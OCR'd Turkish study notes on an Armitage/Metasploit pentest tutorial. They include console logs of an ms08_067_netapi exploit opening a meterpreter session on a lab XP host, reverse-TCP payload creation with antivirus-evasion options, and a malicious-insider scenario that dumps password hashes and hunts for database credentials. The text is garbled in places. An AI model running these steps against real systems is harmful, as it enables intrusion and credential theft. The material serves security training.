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Bu belge
¢ https://www.bgasecurity.com/makale/sizma-testlerinde-armitage-kullanimi/
resmi adresindeki veya linkin kirik olmasi ihtimaline kargin alternatif olarak
¢ https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/S%C4%B1zma
%20Testlerinde%20Armitage%20Kullan%C4%B1m%C4%B1.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Armitage metasploit yaziliminin yapabileceklerini gorsel olarak kontrol edebilme imkani saglayan
bir yazilhmdir.

(Page 3)

2)

Post Exploit

Bir bilgisayara s1zildiktan sonra hedef sistemde bagska exploitation'larda bulunmaya post-exploit adi
verilir. Ornegin hedef sisteme s1z1p sonra hak yiikseltmek icin hedef sistemde baska bir exploit

calistirmaya veyahut hedef sisteme sizip hashdump exploit'i ile hedef sistemin credentials'larin
cekmeye post-exploit ad1 verilir.

(Page 3)

3)

Armitage yazilimi kodlamalara yabanci olanlar icin ve pentest calismalarina yeni baglayanlar icin
tavsiye edilen bir yazilimdir. Acik kaynak kodlu bir yazihmdir. Acik kaynak yazilimlarin iizerinde
yapilan degisiklikler sonucu ticretli hale getirilen bir cok yazilim gibi Armitage yaziliminin da
ticretli hali olan Cobalt Strike bulunmaktadir.

(Page 3)

4)
Kali'de Armitage Kullanim
> service postgresql start

> service metasploit start
> armitage

Connect...

127.0.0.1]

55553

msf

EE 20

Acilan popup'daki Connect diigmesine ardindan Yes diigmesine basilmasiyla armitage baslatilir.



Armitage
Armitage View Hosts Attacks Workspaces Help

¥ (& payload i
» [ aix

e (i ondraid
+ [ bsd - -
+ [ bsdi MOd u I Ie r WT n.wungf“;i:":;é:'@ XPSPZ-
e (B cmd

» (i firefox
L4 [ﬁ generic
* [ﬁjava

L4 [ﬁ linux

» [ netware

92, 16 02. 16 92,16 6 02. 16 CFLT
'ﬁnodej v 102.168.1.1 192.168.1.45 102.168.1.36 192.168.1.145 102.168.1.32

[ Console X [ nmap X T exploit X T Scan X T post XW
INMRCAUY =2 L%

msf post( ) > set SESSION 1
SESSION == 1

msf post( } = set RHOSTS 192,168.1.0/24
RHOSTS == 192,168.1,0/24

msf post( ) = run -j

[*] Post module running as background job

[*1 Running module against XPSP2-
[*] ARP Scanning 192.168.1.0/24
[*] IP: 192.168.1.1 MAC bO:b2:dc:T6:8d:02 (Zyxel Communications Cerporation)

1 ™ 107 B0 1 DA MAFS 10.87.h0. &2, 00,20 MIKMVRMALIKY
msf post(

5)

Modiiller Kismi
Exploit'lerin, payload'larin, auxiliary'lerin siralandigi kisimdir.

Hedefler Kismi
Bu panel cesitli tarama teknikleri ile ya da manuel olarak secilen hedefleri listeler.

Tablar (Sekmeler) Boliimii

Armitage programi hedeflerle ilgili tiim islemleri ayr1 ayr1 sekmeler halinde tutar. Yani 6rnegin
hedef sistemlerde acilan reverse shell oturumlan icin, sistemleri elde etmede kullanilan modiiller
icin ve bunun gibi her bir eylem icin ayr bir sekme yer alir.

(Page 9-10)

6)

Logging Islemleri

Armitage ile yapilan testler esnasinda yapilan tiim islemlerin bir kaydinin tutulmasi miihimdir.
Armitage herbir ip adresi icin bir klasor olusturarak ilgili kayitlar1 bu klasér icerisindeki log uzantili
dosyalarda tutar. Bu kayitlara ulasmak i¢in Armitage arayiiziindeki View->Reporting->Activity
Logs meniilerine tiklanilmasi gerekir. Asagida 6rnek bir log dosyasi gormektesiniz.



< | EHome armitage 140609  localhost [RESEiolafmdelhirde é C.'/\ lﬁLSearch

exploit.log (~/.armitage/140609/localhost/192.168.20.170) - VIM - (O

|- File Edit Tools Syntax Buffers Window Help
explnit.lag L = . R
SE2E e e B 9 4« BRI % B

fisf = use exploit/windows/smb/ms08 067 netapi e
mst exploit(ms08_067 netapi) = set LHOST 192.168.20.197
LHOST == 192.188.20.1597

msf exploit(ms08_067_netapi) = set RPORT 445

RPORT == 445

msf exploit(ms028 067 netapi) = set LPORT 29754

LPORT == 29754

mst exploit(ms@8_067_netapi] = set RHOST 192.168.20.170
RHOST == 192.188.20.170 |
mst exploit(ms@8_067_netapi] = set PAYLOAD windows/meterpreter/bind_tcp

PAYLOAD == windows/meterpreter/bind_tcp

msf exploit(ms08_067_netapi] = set SMBPIPE BROWSER

SMEFIPE == BROWSER

msf exploit(ms08 067 netapi) = set TARGET O

Yukarida /home/armitage/140609/1ocalhost/192.168.20.170 dizinindeki exploit.log dosyasinin
icerigini gormektesiniz. Bu dosyanin iceriginde gorebileceginiz iizere Metasploit Framework
konsoluna girilen kodlamalarin dékiimii ve ciktilar1 yer almaktadir.
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7)

Hedef Tayin Etme
Armitage calisma alanina hedef eklenmek istendiginde bu islem iki sekilde gerceklestirilebilir:

i) Birinci yontem
Hosts -> Import Hosts
seceneklerine gidilmesi ve host IP'lerinin satir satir sirali oldugu dosyanin secilmesidir.

Armitage View JEEEEN Attacks Workspaces Help

» (&5 auxiliary Import Hosts
» (&5 exploit Add Hosts...
> & payload Nmap Scan >
> [ post MSF Scans...

DMNS Enumerate

Clear Database




Look In: [[ﬁ‘ruut |'] [ﬁj[@][fﬁj[lﬁl“@

[&5 Desktop

|| ayaktakiler

| ayaktakiler.gnmap
|| ayaktakiler.nmap
| ayaktakiler.xml

File Mame:

Files of Type: | All Files .v]

[ Open ] [ Cancel J

ii) Ikinci yontem
Hosts -> Add Hosts

seceneklerine gidilmesi ve hedef IP'lerin satir satir elle girilmesidir.

Armitage View f=lE Attacks Workspaces Help

» (B auxiliary Import Hosts

* [ﬁ‘ exploit
> [ payload Mmap Scan
> [ post MSF Scans...

DMNS Enumerate

Clear Database

Add Hosts
Enter one hostfline:

192.168.20.170|

(Page 11-13)



8)
Armitage ile Saldirma Adimlari
Host'lar Armitage calisma alanina eklenildikten sonra hedefin ikonunun iizerine sag tiklayip Scan

diyerek hedef isletim sistemi ve versiyonunu 6grenelim.

Armitage Wiew Hosts Attacks Workspaces Help

> [EF auxiliary i :

> [ exploit 1

» [E§ payload Aftack e
» [ post W oyices

Scan

Armitage @w Hosts Attacks Workspaces Help

» (& auxiliary [ —
» [ exploit i .

» (& payload '
» (& post

Microsoft Windows XP SPOD

Hedefin isletim sistemi ve versiyonu tespit edildikten sonra ilgili agikliklar1 bulmak igin
Attacks -> FindAttacks

sekmesine tiklayalim.

Armitage View Hosts PSREER Workspaces Help
L]

- ENE R ind Attacks
r & exploit
* [ payload
* [ post

Armitage Wiew Hosts Attacks Workspaces Help

» [ auxiliary i :
= [ exploit i ! Message

» [ payload H | .

» [i§ post : Attack Analysis Complete...

192.168.20.170
You will now see an ‘Attack' menu attached

to each host in the Targets window,

Happy hunting!




Ardindan ilgili acikliklar1 goriintiileyebilmek icin hedefin ekrandaki simgesine sag tiklayip Attack
secenegine tiklayalim.

Armitage “iew Hosts Attacks Workspaces Help

> [ auxiliary
1 exploit
> ﬁ payload ——
» (& post g = _ dcerpc >
B Login http >
Services s »
Scan mssql »
Host mysdql >
novell >
oracle >
proxy »
realserver >
samba >
il ms0B_067 netapi
L msl0_061_spoolss
netidentity_xtierrpcpipe
— timbuktu_plughntcommand_bof
[ Console X T Workspaces X T Workspaces X T Scan X T Check Exploits X T pass the hash...
nrunt == check exploits...
msf auxi 5 0

Onerilen acikliklardan bir tanesi tiklanarak kullanilmaya baglanabilir. Oncelikle basarisiz bir exploit
ciktisim goérmek icin basarisiz olunacak bir exploit'i segelim.

Armitage \iew Hosts Attacks Workspaces Help

> [ auxliary
» (5 exploit
» (5 payload
* (5 post

Services
Scan

ms08 004 sp_replwritetovarbin_sgli

Host mysg| mssql_payload_sqgli h

novell

check exploits...

oracle
Proxy
realserver
samba
smhb

wyse

¥y Y Y Y Y Y Y YRATY YT




Attack 192.168.20.170

Microsoft SQL Server Payload Execution via SQL Injection

This module will execute an arbitrary payload on a Microsoft SQL Server, using a SQL injection vulnerability. Once |4
a wulnerability is identified this module will use xp_cmdshell to upload and execute Metasploit payloads. It is
necessary to specify the exact pmnt where the 5QL |n]ect|0n vulnerability happens. For example, given the
following injection: http:/fnwwi s mdshell 'dir'; --&cat=electrical you would

need to set the following path: set GET PATH fshuwpmduct asptid=l:[SQLi]:--&cat=foobar In regard to the
payload, unless there is a cldsed pumhmgegwﬁﬁ Ent to use any "bind" payload, specially on
port 80, as you will stop reaching th gu want a "reverse" payload, probably to

your port 80 or to any other gutbound port allowed on the firewall. for privileged ports execute Metasploit
msfconsole as root. Currently pporfed, First, the original method uses Windows
'‘debug.com’, File size restrictions are avoidied by |ncorporat|ng the debug bypass method presented by
SecureStat at Defcon 17. Since this method invokes ntwdm, it is not available on x86_64 systems. A second
method takes advantage of the Command Stager subsystem. This allows using various techniques, such as .
using a TFTP server, to send the executable, By default the Command Stager uses 'wesript. exe' to generate the |7
Option 4 | Walue

COOKIE A
DATA - :

DELIVERY Acikhgin Parametreleri

EXE::Custom +

GET_PATH /

LLLCOT dr\:-'l_')-l o e O M T T T L
Targets: |0 => Automatic vJ Address (for connect backs)

| | Use areverse connection

|
oW = van Tons
ﬂt}lkflgl ulfanmakigin detayh
seceneklerf | lsunch |

Acikhigin parametrelerini doldurdugumuzu varsayalim ve Launch ile exploit islemini tetikleyelim.
Daha 6nceden de belirtildigi gibi her exploit tesebbiisii icin yeni bir tab (sekme) acilir ve hedef ile
iletisim bu tab'in konsolu tizerinden devam eder.

Console X | exploit X]

CUUNRLL ——

msf exploit( } = set DELIVERY OLD
DELIVERY == OLD @

msf exploit( ) = exploit -j

[*]1 Exploit running as background job.

[*] Started bind handler
[*] warning: This module will leave eexZRLEb.exe in the SQL Server %TEMP%: directory
[*] Writing the debug.com loader to the disk...
Exploit failed [no-target]l: The SQL injection parameter was not specified in the GET path
msf exploit( ) =

Tab'in sundugu konsol ekranindan da goriilebilecegi gibi exploit girisimi basarisiz olmustur. Simdi
ise yarayacak bir exploit secelim.



grr#:_]:ge Wiew Hosts Attacks Workspaces Help

» [ auniliary | |
» (& exploit

[ ﬁ payload TN sfterpc
” ﬁ post S § Services - P

iis
mssgl
mysql
novell
oracle
proxy
realserver
samba

Scan

Host

LAY ¥ Y Y Y Y Y YYY

ms0B_067_netapi
msl0 061 spoolss
netidentity_xtierrpcpipe
timbuktu_plughntcommand_bof
pass the hash...

v

-

Console X | exploit }{]

check exploits...

Attack 192.168.20.170

Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetaPI132.dll
through the Server Service, This module is capable of bypassing NX on some operating
svstems and service packs, The correct taraet must be used to prevent the Server

L

AT

Option 4 | Value

LHOST 192.168.20.197

LFORT 20522
IRHOST + 192.168.20.170

RPORT 443

SMEFIFE BROWSER

Targets: [D == Automatic Targeting v]

[ | Use areverse connection

| | Show advanced options

| Launch |

Acikliklarin parametrelerine dikkat edilmelidir. Resimde goriildiigii izere bazi degerlerin yaninda +
isareti var, bunun manasi o degerin bos olamayacagidir. Launch'a basildig1 takdirde ilgili TAB'a
asagidakiler yansiyacaktir:



exploit

dmsT > use exploit/windows/smb/ms08 067 netapi

msf exploit( ) = set LHOST 192.168,20.197

LHOST == 192.168.20.197

msf exploit( )} = set RPORT 445

RPORT == 445

msf exploit( )} > set LPORT 20522

LPORT == 20522

msf exploit( )} > set RHOST 192.168,20.170

RHOST == 192.168.20.170

msf exploit( ) = set PAYLOAD windows/meterpreter/bind tcp

PAYLOAD => windows/meterpreter/bind tcp

msf exploit( )} = set SMBPIPE BROWSER

SMBPIPE == BROWSER

msf exploit( )} = set TARGET 0

TARGET == 0

msf exploit( ) = exploit -j

[*]1 Exploit running as background job.

[*] Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English
Selected Target: Windows XP SPO/SP1 Universal
Attempting to trigger the vulnerability...
Sending stage (769024 bytes) to 192.168.20.170
Meterpreter session 4 opened (192,168.20,197:50341 -> 192,168,20,170:20522) at 2014-06-09 11:1J

Boylece hedef sistemde meterpreter oturumu agilmig olacaktir.
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9)

Her hedef kolayca ve uzaktan somiiriilecek kadar zafiyet icermeyebilir. Yayimlanan giincellemeleri
zamaninda uygulayan bir hedef artik kolay bir hedef degildir. Antiviriis programi kullanan bir hedef
kolay bir hedef degildir. Giincellemeleri takip eden ve giivenlik 6nlemleri alan bir hedefe sizmak
baska teknikler gerektirir. Bu tekniklerden bir tanesi Payload (hedef ile saldirgan arasinda bir
iletisim kanali istediginde bulunacak ve bu trafigi yonetecek olan programcik) olusturmak gerekir.
Hedef, bir sekilde olugturulan programi ¢aligtirir ise saldirgan ile direk olarak temasa gecer.

Hedefle saldirgan arasinda iletisim kurmasi amaci ile bir¢cok dosya tipi olusturulabilir. Bunlardan
bazilari;

* Exe uzantili programciklar
* Word dosyalar1

* Excel dosyalar

* PDF dosyalar1

* HTML sayfalart...

Gortiildiigi gibi saldir1 amach kullanilabilecek bir¢ok dosya tiirii mevcut. Bu dosya tiirlerini
kullanarak payload olusturulabilir. Metasploit programinin zengin bir payload kiitiiphanesi
bulunmakta. Armitage Metasploit programinin gorsel hali oldugu icin ayni kiitiiphaneye gorsel bir
sekilde ulasilabilir. Armitage icerisinde bulunan payload kategorileri sunlardir:



¥ (&5 payload
L [ﬁ‘ aix
- [ﬁ‘ android
» [ bsd
» [ bsdi
* [ﬁ cmd
» & generic
L [ﬁ‘ java
> [ﬁ‘ liru
L [ﬁ‘ netware
- [ﬁ‘ nodejs
L [ﬁ‘ OSH
> [ php
> (& python
» [ ruby
> (& solaris
> [ tty

> [ windows

Gortildiigii gibi bircok platform igin hazirlanmis payload bulunmaktadir. Windows klasériinii
genisletelim ve cesitleri gorelim.

¥ (& windows
|| adduser
» (&5 dllinject
[ dns_txt_query exec
| download_exec

| exec

| loadlibrary
"I messagebox

L [ﬁ‘ meterpreter
| metsve_bind_tcp
E| metsve_reverse tcp
» [ patchupdllinject
> [ﬁ‘ patchupmeterpreter
> &5 shell
| shell_bind _tcp
|| shell_bind_tcp_xpfw
|| shell_reverse_tcp
|| speak_pwned
L [ﬁ Lpexac
» & wncinject

> [ #64

Resimde sirali payload'lardan meterpreter'e odaklanalim:



Armitage View Hosts Aftacks Wor

¥ [E meterpreter
| bind_ipv6_tcp
|| bind_nonx_tcp
| bind_tep
| bind_tcp_rc4
"I find_tag
| reverse_http
|| reverse_https
D reverse_https_proxy
|| reverse_ipv6_http
|| reverse_ipv6_https
E| reverse ipve_tcp
|| reverse_nonx_tcp
"I reverse_ord_tcp
E| reverse tcp
| reverse_tcp_allports
[ reverse_tep_dns
E| reverse tcp_rcd
E| reverse tcp rcd dns
[ metsve_bind tep
E| metsvc_reverse tcp

» <<

Meterpreter cesitleri arasinda “reverse_tcp”, “reverse_http” ve “reverse_https” en popiiler
olanlaridir. Bu belgede reverse_tcp ele alinacaktir. reverse_tcp yi secelim. Bu takdirde ekrana
asagidaki pencere yansir:

windows/meterpreterfreverse_tcp

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

Option 4| Walue

Encoder ®B6/shikata_ga_nai
EXITFUMNC process

lterations 3
KeepTemplateWorking

LHOST 192.168.20.197
LPORT 29014

Template +

Output: | multifhandler = |

[ | show advanced options

Launch




Ekranda goziiken parametreler ve anlamlar1 sunlardir:

Encoder
Derlenecek olan programin derlenme seklini belirler.

LHOST
Payload calistirildiginda kurban uzak bir sisteme baglanti agmak isteyecektir.
LHOST kurbanin baglanacag adrestir. Yani saldirganin adresidir.

LPORT
Bu deger kurbanin saldirgana hangi port tizerinden baglanacagini belirler. Yani kurbanin
bilgisayarindaki ¢ikis portunu degil, saldirganin makinasina giris portunu belirler.

Output
Payload ciktisinin ismini belirlemek i¢in kullanilir.

Template
Anti viriis programlarim atlatmak i¢in kullanilan bir opsiyondur.

Olusturulan zararh belge (payload) kurbana gonderildikten sonra kurbandan gelecek istegin
1skalanmadan degerlendirilebilmesi i¢in payload handler kullanmak gerekir. Bu modulii kullanmak
icin Armitage -> Listeners -> Reverse (wait for) seceneklerine tiklanmali,

Eiew Hosts Attacks Workspaces Help

MNew Connection [a|
Preferences ] 4 fl F
Set Target View L i '

: ]
Set Exploit Rank [ -
SOCKS Proxy. . 107 168.20.170

Listeners
Scripts. ..

Bind (connect to)
Beverse (wait for)

5_proxy

Close

ekrana gelecek olan popup penceresindeki dinlenilecek port numarasina génderilen payload'un
gelecegi port numarasi yazilmalidir. Tip olarak da dinlenilecek payload'un tipi segilir.

Armitage Wiew Hosts Attacks Workspaces Help

¥ [ meterpreter L Create Listener
| bind_ipvE_tcp d
] bind_nonx_tep Y Port: 239085
| bind_tcp
| bind_tcp_rc4 Type: shell
_| find_tag
|| reverse_http Start Ll meterpreter

__| reverse_https
| reverse_https_proxy
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10)

Post Exploitation
Varsayalim ki hedef sisteme bir exploit ile giris yapilabildi. Bu islemden sonra yapilabilecek seyler
sunlardir:

Hak Yiikseltme
Neyin aciklig1 kullanilarak sisteme sizilmis ise o servisin ya da o kullanicinin haklar1 kadar
sey uzak sistemde yapilabilir. Hedef isletim sistemindeki veri yazma ya da veri okuma
katmanina gelindiginde kullandigimiz servis ya da kullanicinin yetkisine dair bir token
istenir. Bu token otelere gidebilmek igin bir tiir vize gibidir. Baskasinin pasaportunu
kullanarak vize kontroliinden gecmeye ise hak yiikseltme denir.

Dosya Gortintiileme
Hedefi temsilen gosterilen arayiizdeki monitore sag tiklanir ve Meterpreter N -> Explore ->
Browse Files sekmelerine tiklanir. Yetki 6l¢iisiinde dosyalar goriintiilenebilecektir.

Screenshot ve Webcam Gortintiisii Alma
Hedefi temsilen gosterilen arayiizdeki monitore sag tiklanir ve Meterpreter N -> Explore ->
Screenshot sekmeleriyle ekran goriintiisii Meterpreter N -> Explore -> Webcam Shot ile
webcam'den goriintii alinabilir.

Komut Satirin1 Cekme
Hedefi temsilen gosterilen arayiizdeki monitore sag tiklanir ve Meterpreter -> Interact ->
Command Shell sekmeleri tiklanarak hedef sistemin komut satirin1 komut satirimiza
getirebiliriz.
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11)

Post Exploitation Modiilleri
Armitage sisteme s1zildiktan sonra neler yapilabilecegi konusunda secenekler sunmaktadir. Bu ilgili
secenekler asagidaki resmin solunda yer alan post klasérii altinda sunulmustur:

Armitage Wiew Hosts Attacks Workspaces Help

v post_______________________|
» (5 multi
¥ (& windows
- ﬁ capture
» [B§ escalate
> ([ gather
» [EF manage
» [BF recon
> (B wian




Bu seceneklerin (modiillerin) kullamimi offensive security'nin sitesinden veyahut forumlardan
ogrenilebilir.
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12)
Armitage araci boylelikle tamtilmig oldu. Simdi senaryolar ile armitage yazilim aktif olarak nasil
kullanilabilir, nasil sistemelere sizilabilir ve en énemlisi Post Exploitation olarak neler yapilabilir

bunlar incelenecektir.
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13)

BGA Veritabam Erisim Bilgilerinin Elde Edilmesi Senaryosu
Senaryoyu aciklamadan 6nce senaryonun uygulanacagl hedef ag topolojisini bir inceleyelim.

4
192.168.20.152

3
192 168.20.142

1
192.168.20. 170

Laptop FT
ri tabani Yéneticisi - Fatma

.—,

950 1541
e \ N
pCPT

IT destek - Mehmet

192,168.20.133 D’

Laptop PT
Yeni Calisan

Bilgi islem personeli Mehmet sirketinde yapacag1 denetlemeleri sirketin agina uygulamadan énce
test maksadiyla bir késede duran kirmizi renkli makinaya uygulayacaktir. Mehmetin bu test
makinas: sirkette aktif is yapan makinalardan biri olmadig icin giincellemelerden yoksundur.
Varsayalim ki Mehmet bu test edilecek makinada kendi makinasindaki oturum bilgilerini
kullanmaktadir. Sirketin veritabani yoneticisi Fatma ise veritaban giris bilgilerini masaiistiinde
tutuyor olsun. Bu iki sahis disinda bir de bizi temsil edecek kotii niyetli bir personelin bu ag
topolojisine sahip sirkette ise alindigin1 varsayalim. Bu senaryoya gore kotii niyetli ise yeni alinmig
personel olarak amacimiz veritabaninda bulunan verilere erismektir. Bunun i¢in veritabaninin



erisim bilgilerine erismemiz gerekmektedir. Dolayisiyla izlenecek adimlar sunlardan olusur:

1. Ag taranacak ve hangi cihazlarin ayakta oldugu ve hangi isletim sistemlerinin kullanildig1
tespit edilecek.

2. Tespit edilen isletim sistemlerinin bildirilmis mevcut acikliklar olabilir. Bu agikliklar
varsa denenecektir.

3. Bilgisayara bu bilinen agikliklardan si1zildig1 takdirde hedef makinaninin kullanicilarina
ait hesap ozetleri (hash'ler) alinacaktir.

4. Alinan hash'ler ile diger sistemlere login olunmaya calisilacaktir.

5. Bagarili girisler sonucu oturum yapilan makinelerden bilgi toplanmaya calisilacaktir.

Senaryonun Uygulanmasi

a)

Sirkette kotii niyetli bir personel olarak ise baglanir. Verilen bilgisayarda Kali Linux USB'den
baslatilir ve gerekli servisler asagidaki gibi baglatilir:

> service postgresql start
> service metasploit start
> armitage

b)
Ardindan verilen bilgisayarin hangi agda oldugu tespiti yapilmalidir. Bu islem IP adrese bakarak

gerceklestirilebilir:

> ifconfig

IP'miz 192.168.20.188'mis. Subnet Mask degeri 255.255.255.0 olduguna gore ait oldugumuz
network address'imiz 192.168.20.0 olmahdir. Mask'ta 24 tane 1 olduguna gore bu durumda



192.168.20.0/24

seklinde ifade elde edilir. Bu ifade Armitage'dan ayaktaki sistemleri tespit etmek maksadiyla
kullamlacaktir.

0)
Armitage arayliziinden faydalanarak agda hangi IP'lerin ayakta oldugunu ve hangi isletim
sistemlerini ¢alistirdigini tespit edelim:

Armitage
Armitage \Wiew gttacka Workspaces Help

> [ auxiliary Import Hosts

[ 2 ﬁ' e}{p|0it Edd Hosts...
d= payload DIl Intense Scan
> [ post MSF Scans...

Intense Scan + LUDP
Intense Scan, all TCP ports
Intense Scan, no ping
Fing Scan
Quick Scan
Quick Scan (05 detect)

Comprehensive

DMNS Enumerate

Clear Database

Quick Scan (OS detect) secildiginde, ekrana gelecek olan pencereye taranmak istenilen ag adresi

girilir.

Input

", Enter scan range (e.g.,, 192.168.1.0/24):
192.168.20.0/24

| Cancel | | OK |

Boylece bulundugumuz agdaki tiim olas1 IP adresleri taranacaktir ve yanit donen makinalarin
ayakta oldugu tespit edilir Armitage ekranina monitor simgesi seklinde yansiyacaktir.



Armitage

Armitage Wiew Hosts Attacks Workspaces Help

» [ auxiliary
» (i exploit
* [ payload
g ﬁ‘ post

Tarama sonucu elde edilen hedefler yukaridaki gibi iist iiste binmis sekilde ekrana yansirsa siyah
ekrana sag tiklayip Layout -> Stack secenegi tiklanmalidir.

Armitage

Armitage Wiew Hosts Attacks Workspaces Help

» [ auxiliary
* (&5 exploit
* (&5 payload
g [ﬁ‘ post
S " Circle
aw Stack
r s hl I

Ol ©

.20.148 192, 168,20, 202 192, 168.20.133 192, 168.20.204 192.168.20.117 192.168.20.116 192. 168,20, 170

Boylece tarama sonucu ayakta oldugu tespit edilen sistemler ekrana siral bir sekilde yerlesmis olur.



d)
Monitor simgelerin {izerlerine gelinerek hedeflerin igletim sistemlerini belirten bildirim yazilar
goriintiilenir ve eski bir isletim sistemi aranir. Mesela XP.

e)

Secilen XP sisteminin IP degeri ekrandaki fare imlecini monitor {izerinden cekerek 6grenilebilir:

192.168.20.172 . Simdi bu hedefin monitériine bir kez tiklayalim ve Armitage meniisiinden
Attacks->Find Attacks

seceneklerine sirasiyla tiklayalim.

Hosts EEEWEN Workspaces Help

—
Find Attacks

Hail Mary

B.20.148 192.168.20.202 192,168.20.133 192.168.20.204 192.168.20.117 192.

¥

Armitage sectigimiz hedefin isletim sistemi ve Service Pack degerini g6z 6niine alarak bir takim
exploitler 6nerecektir. Bu arama islemi devam ederken asagidaki gibi bir pencere goriintiilencektir.



2 ®
-

»~

& -
192. 168. 20. 202 192.168.20.133 192.168.20.204 192.168.20.117 192.168.20.116
Progress...

Querying exploits...
unixfwebapp/joemla_med...

—

Cancel

f)

Tarama bittikten sonra hedefin monitor simgesine sag tiklayip Attack seceneginde bizim hedefe
uygun sunulmus exploit'ler arasindan diledigimizi segebiliriz. Diyelim ki ms08_067_netapi
exploit'ini sectik.

T, B
— dcerpc
o http
192.168.20.117 192. 1/

Login
Senvices

mssq| Ll

mysql
novell
oracle
Proxy
realserver
samba
smhb

se

L Y Y Y ¥ Y Y Y Y TYY

ms08 067 _netapi
msl0 061 spoolss
co.) netidentity_xtierrpcpipe
details timbuktu_plughntcommand_bof
pass the hash...

i

check exploits...

Exploit secildikten sonra ekrana parametreler ve degerlerini gosteren pencere yansir.



Attack 192.168.20.170

Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll 2
through the Server Service, This module is capable of bypassing NX on some operating [
svstems and service packs, The correct taraet must be used to prevent the Server |
Option 4 | Value

LHOST 192.168.20.188

LPORT 14605

RHOST = 192,168.20.170

RFORT 445

SMEFIFE BEROWSER
Targets: |0 == Automatic Targeting :J I

| Ll Use areverse connection 1

| | | Show advanced options
i | Launch |
Bu

exploit icin bir ayarlamaya liizum yoktur. Ama her exploit icin ayn1 sey gecerli degildir. Bazen
dinleme portunun, bazen kullanilan payload’in degistirilmesi icab edebilir. Simdi pencereyi oldugu
gibi birakalim ve Launch diigmesine tiklayarak exploit'i calistiralim. Calisma sonrasi eger exploit
basarili olursa hedefin monitoriiniin ekranini kaplayan eller agsagidaki gibi goriilecektir.

Armitage Wiew Hosts Aftacks Workspaces Help

» [ auxiliary
> ﬁ exploit
r & payload
v & post

NT AUTHORITY\SYSTEM @ BGA_XP_VUL

Console X | nmap X | exploit X]
e AP Lva e i
SMBPIPE => BROWSER
msf exploit( ) > set TARGET 0
TARGET => 0
msf exploit( ) = exploit -j
[*] Expleit running as background job.

[*] Started bind handler
[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack © / 1 - lang:English
[*] Selected Target: Windows XP SPO/SP1 Universal

Attempting to trigger the vulne it

Sending stage (769024 bytes) to 19 0

55050 -> 102,168.20,170:14605) at 2014-06-10 12:51:26 -0400

Artik hedefe ms08_067_netapi exploit'i ile sizilmig ve parametrelerde belirtilen meterpreter

payload'u ile oturum agilmis vaziyettedir. Bu oturumu Armitage'in altindaki konsol tab'inin
araytiziinde de gorebiliriz.

meterpreter >



Araylizden meterpreter komutlar girebilmek icin ayriyetten bir meterpreter tab'ina ihtiyag vardir.
Bu nedenle sizilan sistemin monitdriine sag tiklayip Meterpreter 1 -> Interact -> Meterpreter Shell
seceneklerine sirasiyla tiklanilmahidir. Boylece asagidaki gibi Meterpreter 1 tab" agilir.

-/

-

[ Console XT nmap X T exploit X T Meterpreter 1 }{]

meterpreter = idletime
User has been idle for: 2 hours 45 mins 27 secs

idletime komutu hedef sistemin ne kadar siiredir bosta bekledigini gosterir. Komutun ¢iktisina gore
yaklasik 3 saattir hedef, makinasim kullanmiyor ve dylece acik birakmis vaziyette. Simdi kotii
niyetli personel olarak ise koyulalim ve hedef sistemin kullanicilarinin hesap bilgilerini cekelim.
Bunun icin hedef monitoére sag tiklayip Meterpreter 1 -> Access -> Dump Hashes -> Isass method
seceneklerine sirasiyla tiklayalim.

Access
Interact

Migrate MNow!
Escalate Privileges
Steal Token E}.{pl-::jre
Dump Hashes i~
Persist

FPass Session

|sass method
reqgistry method
wdigest

Tiklamalar sonucu Meterpreter 1 tab ekranina kullanici adlar ve sifreler (hash'ler) yansir:

Console X T nmap X I exploit X T Meterpreter 1 X T Meterpreter 1 X]

eterpreter> hashdump
*] Dumping password hashes...
Administrator:500: fZﬁfI}".aeﬂ".
hna:1AA3:3%achrhy
bgaDestek: 1006
: 1;..»(.'39(”-:0

HelpAssistant: 100 e 078 e14527f17d28ddd: c* (Iztl?e?e45tle0htl 70165b621f: ::
localadmin: 1004 3 ] 3 . 0lad4a020e7c4957afc72:::
mesut: 1005 015 [y 3e 35h5: BE nleﬁg?(l?lﬁ

SUPPORT ! 11002 : '. 35h51404ee: .409cfnullﬁHQEndﬁ4 47ch8621c875¢e:




Yukaridaki resimde kirmizi cerceve icerisine alinan kullanici bilgileri daha kurumsal
goriindiigiinden ona odaklanmay1 secebiliriz.

Simdi si1zilan bilgisayarin dosya ve klasorlerini meterpreter payload'u ile gérelim. Bunun icin hedef
sistemi temsil eden monitore sag tik yapip Meterpreter 1 -> Explore -> Browse Files seceneklerine
tiklayalim.

Attack
Login

Meterpreter L ll Access >
Interact >
—

5

Explore
Pivoting
ARP Scan...

Browse Files
Show Processes
Log Keystrokes
v Screenshot il
[ Console X T nmap X I exploit X T Meterpreter 1 X T Meterpreter 1 X T Files 1 X] Webcam Shot

>
>

& | |c\wiNDows\system32 Post Modules
D 4 Name | Size | Modified | Mode
& 1025 2014-05-20 09:47:21 -0400 40777 Irwnsrwacrwne
B 1028 2014-05-20 09:47:21 -0400 40777 frwncrwncrwn
& 103 2014-05-20 09:47:21 -0400 40777 frwsrwnrwg
fe= 1 Ann A1 A AE An AMLAT.aE Aann AT T T fmimma s

Yukaridaki resmin altinda gorebileceginiz gibi Files 1 adli bir tab agilmistir. Bu tab'in igeriginde
hedef sistemin dizinleri listelenmistir. Dizinlerin hemen {istiinde ise bulunulan dizini ifade eden

C:\Windows\system32

ibaresi vardir. Simdi hedef sistemin masaiistii dizinine gecis yapalim. Ciinkii kritik bilgiler
genellikle ulasimi kolay olsun diye masaiistiine konuyor. Bu nedenle

C:\Documents and Settings\bga\Desktop
path'ini agsagida kirmiz ile vurgulanmis kutucuga girelim.

[ Console X T nmap X T exploit X T Meterpreter1 X T Meterpreter 1 X T Files 1 X]

B |lcn
D &|Mame | Size | Modified | Mode
ﬁ 1025 2014-05-29 09:47:21 -0400 40777 rwHrwKrwe
ﬁ 1028 2014-05-29 09:47:21 -0400 A0T7 77 ITWErWRr WK
